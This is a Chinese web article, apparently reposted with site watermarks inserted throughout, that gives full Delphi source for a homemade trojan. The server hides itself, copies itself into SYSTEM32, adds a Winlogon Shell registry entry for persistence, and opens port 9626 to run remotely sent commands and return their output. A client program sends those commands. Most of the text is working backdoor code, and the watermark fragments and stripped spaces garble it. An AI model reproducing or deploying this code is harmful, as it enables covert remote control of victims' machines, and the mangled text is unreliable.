用户名: 密码: 验证码: gdcode 注册

Delphi下“培养”自己的简单木马

时间:2007-06-15 来源: 作者: 【字体: 减小 增大点击: 收藏 | 投稿
  

  刚学电脑时很喜欢网络安全,看着高手们写的一个又一个攻击工具,自己也总想努力去学好编程去写属于自己的程序。学DELPHI快一年了,感觉什么都没学到,惭愧啊。今晚突然想学着写木马,于是手忙脚乱的敲了点代码,超简单,愿自己能越写越好!!! 财管家园,fs119.net

财管家园 fs119.net

  程序跟传统木马一样,分服务端和客户端。运行服务端后会复制自身到SYSTEM32目录下面,并在注册表添加一自动行启动项,打开本机9626端口开始等待接收客户端的数据。当接收到客户端数据时就当作CMD命令去执行,最后把回显传送回客户端。客户端很简单,跟服务端连接成功后,输入命令点执行,正常的话可以收到服务端的执行结果了。

财管家,园,fs119.net

财软.联盟.fs119.net

  源码如下:

财管,家园,fs119.net

////Server.pas////////////// 财管.家园.fs119.net

unitUtMain; 财管家园.fs119.net

////////////////////////////////////
//////////BYlanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
///部分代码从网上收集///////////
//////////////////////////////// 财软联 盟 fs119.net

interface 财管家 园 fs119.net

uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,
Dialogs,Registry,ScktComp,StdCtrls;

财软联.盟.fs119.net

type
TFmMain=class(TForm)
SS:TServerSocket;
Memo1:TMemo;
procedureFormCreate(Sender:TObject);
procedureSSAccept(Sender:TObject;Socket:TCustomWinSocket);
procedureSSClientRead(Sender:TObject;Socket:TCustomWinSocket);
private
{Privatedeclarations}
public
{Publicdeclarations}
end;

财管,家园,fs119.net

var
FmMain:TFmMain;
reg:TRegistry;

财管家.园.fs119.net

implementation

财软联,盟,fs119.net

{$R*.dfm} 财软 联盟 fs119.net

procedureTFmMain.FormCreate(Sender:TObject);
var
sysdir:array[0..50]ofchar;
begin
Application.ShowMainForm:=False;
FmMain.Left:=-200;//运行不显示窗口
reg:=TRegistry.Create;
reg.RootKey:=HKEY_LOCAL_MACHINE;
reg.OpenKey('SoftWare\Microsoft\WindowsNT\CurrentVersion\Winlogon',true);
ifreg.ReadString('Shell')<>'Explorer.exeLysvr.exe'then
reg.WriteString('Shell','Explorer.exeLysvr.exe');//建立开机启动项
reg.Free;
GetSystemDirectory(sysdir,50);
ifnotFileExists(sysdir'\Lysvr.exe')then
copyfile(Pchar(Application.exeName),pchar(sysdir'\Lysvr.exe'),true); 财管家 园 fs119.net

SS.Port:=9626;
try
SS.Active:=True;
except
end;
end; 财,管家园,fs119.net

procedureTFmMain.SSAccept(Sender:TObject;Socket:TCustomWinSocket);
begin
Socket.SendText('连接成功');//发现有连接时回传‘连接成功’
end; 财管家园.fs119.net

procedureTFmMain.SSClientRead(Sender:TObject;Socket:TCustomWinSocket);
var
RemoteCmd:string;
hReadPipe,hWritePipe:THandle;
si:STARTUPINFO;
lsa:SECURITY_ATTRIBUTES;
pi:PROCESS_INFORMATION;
cchReadBuffer:DWORD;
ph:PChar;
fname:PChar;
res:string;
begin
Memo1.Clear;
remotecmd:=Socket.ReceiveText;
fname:=allocmem(255);
ph:=AllocMem(5000);
lsa.nLength:=sizeof(SECURITY_ATTRIBUTES);
lsa.lpSecurityDescriptor:=nil;
lsa.bInheritHandle:=True;
ifCreatePipe(hReadPipe,hWritePipe,@lsa,0)=falsethen
begin
socket.SendText('不能创建管道');
exit;
end;
fillchar(si,sizeof(STARTUPINFO),0);
si.cb:=sizeof(STARTUPINFO);
si.dwFlags:=(STARTF_USESTDHANDLESorSTARTF_USESHOWWINDOW);
si.wShowWindow:=SW_HIDE;
si.hStdOutput:=hWritePipe;
StrPCopy(fname,remotecmd);
/////执行CMD命令////
ifCreateProcess(nil,fname,nil,nil,true,0,nil,nil,si,pi)=Falsethen
begin
socket.SendText('不能创建进程');
FreeMem(ph);
FreeMem(fname);
Exit;

财.软联盟.fs119.net

end;
while(true)do
begin
ifnotPeekNamedPipe(hReadPipe,ph,1,@cchReadBuffer,nil,nil)thenbreak;
ifcchReadBuffer<>0then
begin
ifReadFile(hReadPipe,ph^,4096,cchReadBuffer,nil)=falsethenbreak;
ph[cchReadbuffer]:=chr(0);
Memo1.Lines.Add(ph);
end
else
if(WaitForSingleObject(pi.hProcess,0)=WAIT_OBJECT_0)thenbreak;
Sleep(100);
end;
ph[cchReadBuffer]:=chr(0);
Memo1.Lines.Add(ph);//memo接收回显
CloseHandle(hReadPipe);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
CloseHandle(hWritePipe);
FreeMem(ph);
FreeMem(fname);
socket.SendText(Memo1.Text);///将回显发送回客户端
end; 财软联,盟,fs119.net

end.

财.管家园.fs119.net

/////////////////////////////////////////////////////////////////////////////////////////// 财软.联盟.fs119.net

//////客户端/////////////////////

财,管家园,fs119.net

unitUtMain; 财管,家园,fs119.net

////////////////////////////////////
//////////BYlanyus////////////////
////////Email:greathjw@163.com////
////////QQ:231221////////////////
////////////////////////////////

财.管家园.fs119.net

interface 财管家园,fs119.net

uses
Windows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,
Dialogs,OleCtrls,SHDocVw,StdCtrls,IdBaseComponent,IdComponent,
IdUDPBase,IdUDPServer,Buttons,TLHelp32,ScktComp; 财软联 盟 fs119.net

type
TFmMain=class(TForm)
WebBrowser1:TWebBrowser;
Label3:TLabel;
Edit2:TEdit;
Label4:TLabel;
Edit3:TEdit;
Button2:TButton;
CS:TClientSocket;
Edit4:TEdit;
Label5:TLabel;
Memo1:TMemo;
BitBtn2:TBitBtn;
procedureButton2Click(Sender:TObject);
procedureCSRead(Sender:TObject;Socket:TCustomWinSocket);
procedureBitBtn2Click(Sender:TObject);
private
{Privatedeclarations}
public
{Publicdeclarations}
end; 财管家.园.fs119.net

var
FmMain:TFmMain; 财管家 园 fs119.net

implementation

财.软联盟.fs119.net

{$R*.dfm} 财,管家园,fs119.net

procedureTFmMain.Button2Click(Sender:TObject);
begin
CS.Host:=Edit2.Text;
CS.Port:=StrToInt(Edit3.Text);
CS.Open;
end;

财管家园.fs119.net

procedureTFmMain.CSRead(Sender:TObject;Socket:TCustomWinSocket);
begin
Memo1.Clear;
Memo1.Lines.Add(Socket.ReceiveText);
Memo1.Lines.Add('');
end;

财.软联盟.fs119.net

procedureTFmMain.BitBtn2Click(Sender:TObject);
begin
CS.Socket.SendText(edit4.Text);
end; 财管家园.fs119.net

end.
财管家.园.fs119.net

财 管家园 fs119.net


文章摘自网络,如有侵权,请与我们联系.
数据统计中!!
上一篇:Delphi中利用钩子实现QQ聊天窗口的修改
下一篇:Delphi实现在数据库中存取图像

精品课程推荐



用户名: 密码: 匿名? 注册
每日新新闻索引
推荐大折扣培训课程